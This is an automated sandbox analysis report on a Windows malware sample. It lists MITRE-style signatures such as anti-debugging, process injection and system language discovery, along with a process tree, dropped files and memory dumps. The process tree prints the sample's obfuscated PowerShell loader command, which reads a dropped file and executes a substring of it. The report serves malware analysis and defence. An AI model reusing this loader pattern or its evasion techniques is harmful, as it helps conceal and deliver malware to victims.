Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
01/08/2026, 10:09
General
- Target 8fd94a0d9730a5a696e1056495b28ef5ca118f94c92c18f6b757369bd3de5ada.exe
- Size 826KB
- Sample260801-l626qasdkc
- SHA256 8fd94a0d9730a5a696e1056495b28ef5ca118f94c92c18f6b757369bd3de5ada
Malware Config
Signatures
- Loads dropped DLL 1 IoCs
- Badlisted process makes network request 8 IoCs
Network request originating from process or tool commonly abused by malware.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Program Files directory 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\8fd94a0d9730a5a696e1056495b28ef5ca118f94c92c18f6b757369bd3de5ada.exe"C:\Users\Admin\AppData\Local\Temp\8fd94a0d9730a5a696e1056495b28ef5ca118f94c92c18f6b757369bd3de5ada.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle minimized ""$Manvrens=GC -raw 'C:\Users\Admin\AppData\Local\Temp\politimesterens\malposed\humate\Pretangible.Kuv';$Reduplicate=$Manvrens.SubString(54487,3); .$Reduplicate($Manvrens)""2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
nsExec.dll
nurseryman.lnk
Pretangible.Kuv
Terminational.gen
memory/2280-57-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-32-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-34-0x0000000005390000-0x00000000053B2000-memory.dmp
memory/2280-35-0x0000000005530000-0x0000000005596000-memory.dmp
memory/2280-36-0x00000000055A0000-0x0000000005606000-memory.dmp
memory/2280-39-0x00000000057C0000-0x0000000005B1B000-memory.dmp
memory/2280-40-0x0000000005B40000-0x0000000005B5E000-memory.dmp
memory/2280-41-0x0000000005B90000-0x0000000005BDC000-memory.dmp
memory/2280-42-0x0000000006B10000-0x0000000006BA6000-memory.dmp
memory/2280-43-0x0000000006040000-0x000000000605A000-memory.dmp
memory/2280-44-0x00000000060A0000-0x00000000060C2000-memory.dmp
memory/2280-45-0x00000000071B0000-0x000000000776A000-memory.dmp
memory/2280-33-0x0000000004D00000-0x000000000534A000-memory.dmp
memory/2280-47-0x0000000007DF0000-0x000000000846C000-memory.dmp
memory/2280-48-0x0000000006F60000-0x0000000006F96000-memory.dmp
memory/2280-49-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-53-0x0000000006FA0000-0x0000000006FC0000-memory.dmp
memory/2280-50-0x000000006FB20000-0x000000006FB6C000-memory.dmp
memory/2280-54-0x0000000006FF0000-0x0000000007093000-memory.dmp
memory/2280-55-0x00000000070F0000-0x00000000070FA000-memory.dmp
memory/2280-58-0x0000000007100000-0x0000000007111000-memory.dmp
memory/2280-31-0x0000000002620000-0x0000000002656000-memory.dmp
memory/2280-56-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-59-0x0000000007130000-0x0000000007140000-memory.dmp
memory/2280-61-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-60-0x0000000073172000-0x0000000073173000-memory.dmp
memory/2280-62-0x0000000007140000-0x0000000007155000-memory.dmp
memory/2280-63-0x0000000007190000-0x00000000071AC000-memory.dmp
memory/2280-64-0x0000000007180000-0x0000000007188000-memory.dmp
memory/2280-65-0x0000000007920000-0x000000000794A000-memory.dmp
memory/2280-66-0x0000000007950000-0x0000000007974000-memory.dmp
memory/2280-67-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-68-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-69-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-70-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-30-0x0000000073172000-0x0000000073173000-memory.dmp
memory/2280-73-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-74-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-75-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-72-0x0000000008470000-0x000000000CEE9000-memory.dmp
memory/2280-76-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-78-0x0000000073160000-0x000000007391C000-memory.dmp
memory/2280-79-0x0000000073160000-0x000000007391C000-memory.dmp
memory/5736-80-0x0000000000A00000-0x0000000001CE6000-memory.dmp